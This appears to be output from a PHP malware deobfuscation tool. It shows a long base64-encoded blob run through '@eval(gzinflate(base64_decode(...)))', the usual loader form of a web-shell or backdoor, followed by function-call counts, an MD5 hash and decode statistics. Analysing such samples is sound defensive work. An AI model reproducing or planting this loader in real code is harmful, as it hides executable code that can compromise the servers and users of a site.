OCM9YKTdE3nJBUD+Ju6JnPCasvRpxY4qxiQeyFyn7TNkiCO1L3iJMiYC+Z69v9r7mp727aB8Gf/C0YNRmt1bDlZUSCenGxBuxVb2q5ZOgxtYCiWFAu2JU+Sl6Zr9tt3LyQl2UocuXtLijgh745H3h11PBV8Yk/g+nhzT+BU4xv49MU08JeemILwOUr3ci/roqBLL12iYJQ7nUVTDRwAbChXmiufjTPaJQdAZ6o2BLpl3VHHry0bnLRFTaPvnoFrXSWSIFjxF/sPxuGC2WIqMg9GswhWrO2gtNajtS9oPN5VmBF8fbHsBfm4x02yI1NJnPywUZgEGCUtc/vuu70L8SxNE7zof5wsfbzYGO9pFiVBGHyt4p7mFsyqBdLyyShPRvzgcQvQ99YuAiJklRYkzhOE9Kg0I1AffMK/6wneC70TBknY1opqTREWzg3hUZmZLlaI7wMfHjxhShgmyVwghg/CkutYh2SHFqukfZCu2cVup4McisKP0o+u1cOrynqGvMezo3SvR8tAa9k2BDuuZSlFuasKsw4yTW+LN9fFMpswf9YxYliHKkl1gTssjOnQAPSD7ufFJYoImY/aHtX6SX2H6Q6XMV3ATLZnSHgcv6Qhz4KWfOLF/gwvr0eXM7RmomRL0Q49fALugGvzXdVAj8KJniXYxdrQJdwgxLVIFjFYA93Ha07XbLuyKxmnvmiAFiOoJdasEFa0a6GtUxiHmnt6EGM90s9Py/Tq6nLdtW42ZRH80o/9VqvQhjV1XcmYNl04+Uh7BaSv9EUYlhUOhYLThPF6sbftaN0oHjfhgkTPw3yo6UhN6GFDzCHDybbg0SxskDJBw3mOkzRuvpqNVJ42Npl/2XQpYYxgmkXNB2mqWGM/uhypJ29j3Zoz7W3BpYOxkadfzZJLb9ZwmObzaTqPUTMWE+P/zt5AGW4Sb8eVbWfT8Qxyiy12yy359J7emB0M15gHP0ZzL4YTXdqE78dk7M3Otth76czffLztWbJtIqzxBrXGaAvzqG+VHvstSlRdyFkJ0k3nIIOCgBIp7IMERtpl1iI1f3yhsqL3MZEy2kCJLswXI0I5LBLSDlGWR7otkpHb1XRFtwj1i0ksbzllNGlhMZNZFE+Vvse77Mrq7EFd5sxRTemZ0CRVSBronF71DUwODbk55ehI1JE4LKwQGGK9/TpJ/dq+69rmaeIHde3zm3uF8WmqyAiVjnzOYBpL2rZeSsHG1ycNImjrYwmTu9J+fGB3aqTs1VLa2qAMLPOZ41jS2jROGuTLNOYRBve7RskJCeZQeSAvljjehX6XaDh22rK//7TrwHdfOYqCs8kXeoGPd9MgIx4SSH2divDCV5BU8+nIke+mLz1x9U18IWSX+bryEH5F3q4lxC+Ok5tgYs+nvB2H/G0JB27ShpUrTbmKAEXsGiy8gsgCe1IUj66j2E+uJSOy9B2H0Vj2HWY0vBjlzwnSzupiwQWjhU6HiDwfxHl6g/Ap5eO40vxu9urJEeXow5AonWcFHGfAHkkaBXpnKaT+eSHO6BJl2PgJU1EHCCmjnnxfEvJR1u1238dKQlETpDlwXRABLnXg8yGvdMyuOWK36g6h9mDVEO9jnPy5701W1S+D2WhL3arQYQ/RZbvxay8OZuJs7MVkVwViZklVspQf3PHrL64S9yqxhjfLxUeECxOfPol1Sms4mc8JSVPXiWRNqTKbBcGCikD/WB3yW3A8cTYJZjOBqEF+kqSMBqzrWPcUH1Eg8a9XEiWuqVQevlJMlKqoJ6kaJ0lMhZdxdzU32NNw0ILUcHCx0JC9iDN8VWJmJA1M0QOLcWahKlW8NfNMg5iss16Bo9c2QOdcgkEQTxueXm2ZeSFkVvxcAQGOLY6EopFJGMpDCLOgLRGdGatsh+IMGMQpMCDw0auYKoxcLDwGvrEBIqut5On3RkAIEWVEmwreiReLl0ku3mAF74RhfF+FEMpUPFVjCZp0r4d6+uYlNYrntqCmLVxv6zvQ5pBSlUc96mYr2DMgBE/x4Eca4T5hWoG9j1PlDABZBqaPzQHivxYHT0xJlMdY57NLSIQljNcP/X2GzqZnHHB14AnAS1iiOUAa9fxEGqeDjExWIfwK7cm7FgQ8MHZleeOSKyiFbZK9AzyyomBVSQMMXq5WwVjEsp6SGri0OBehNw7ct0HqQ/bLdfp9QYip7qOx4zhhWHobkfxQvIaguWDkxHkFWnEVhDntrXXfVpWv4scqj6AqpLhVcWU2Yx+CNccCeo5zVKhZRxDzBDgr6Djjgo/wu8R93MTAe+dzLPPxBs2vTxByC5hIiuLCR+0CSbDjCHJyHSIYmBiX9OShsVCD3BfeLLqKXcKhHapBDklHJPHV7qj2RAs3RWvIc9wEk44w5JtoLV9DulmkrcJURURTfyCOhnX8hLausM5pDDa49cSpk1UPvn6X7IpuCkbdSO1bQ7H3sLc5GvjcjMGbMyypsX69BX5aRuOpNnb2/zbEpsVSHOrtWWEv3cHuuQIGPffxzVOmkFW9WVbCVlUBVHntVo9UD3zv+hf2nRB/2O9cEM6fel23ghZap9H+f6vSkfEl/WJxb90mn+mRbJLbu3eI8wUiDW3wS8jTxxyq6nLqNKfR9rD89WCvXdJQGx1vDrkHCq/xvPKmQW9QFAtLppaHR/S5UkeU4+PazwclwzwwyE+9aSCew/Cb4nvjGs2nPIvtw/pOzrCIZcKa3bQTK1XUZvzU2TRw/cIrnhOIPvTVjYu9aanfRsH137PUV8nnLvWGBQz/prXDKVv3rJLKOlS2sZps0PkcMgh3f8ipFadRBNY8FIz/Li5v0iQQJ69OT89fvvj5V/FJvIDDfRxkkSe+hxPJm6w4EE7yfHHY632E7r1JN0mvenSO/j3oxUmO/zsqdVmqJeCIComsa40u4e+pNYzScZeGQjY6afKM4rxIfnqXiX8Df+KGOvwL';
@eval(gzinflate(base64_decode($error)));
Function Calls
| gzinflate | 1 |
| base64_decode | 1 |
| set_time_limit | 1 |
| error_reporting | 1 |
Stats
| MD5 | 34a72e0c8d613c3c63f212892eef5fed |
| Eval Count | 1 |
| Decode Time | 365 ms |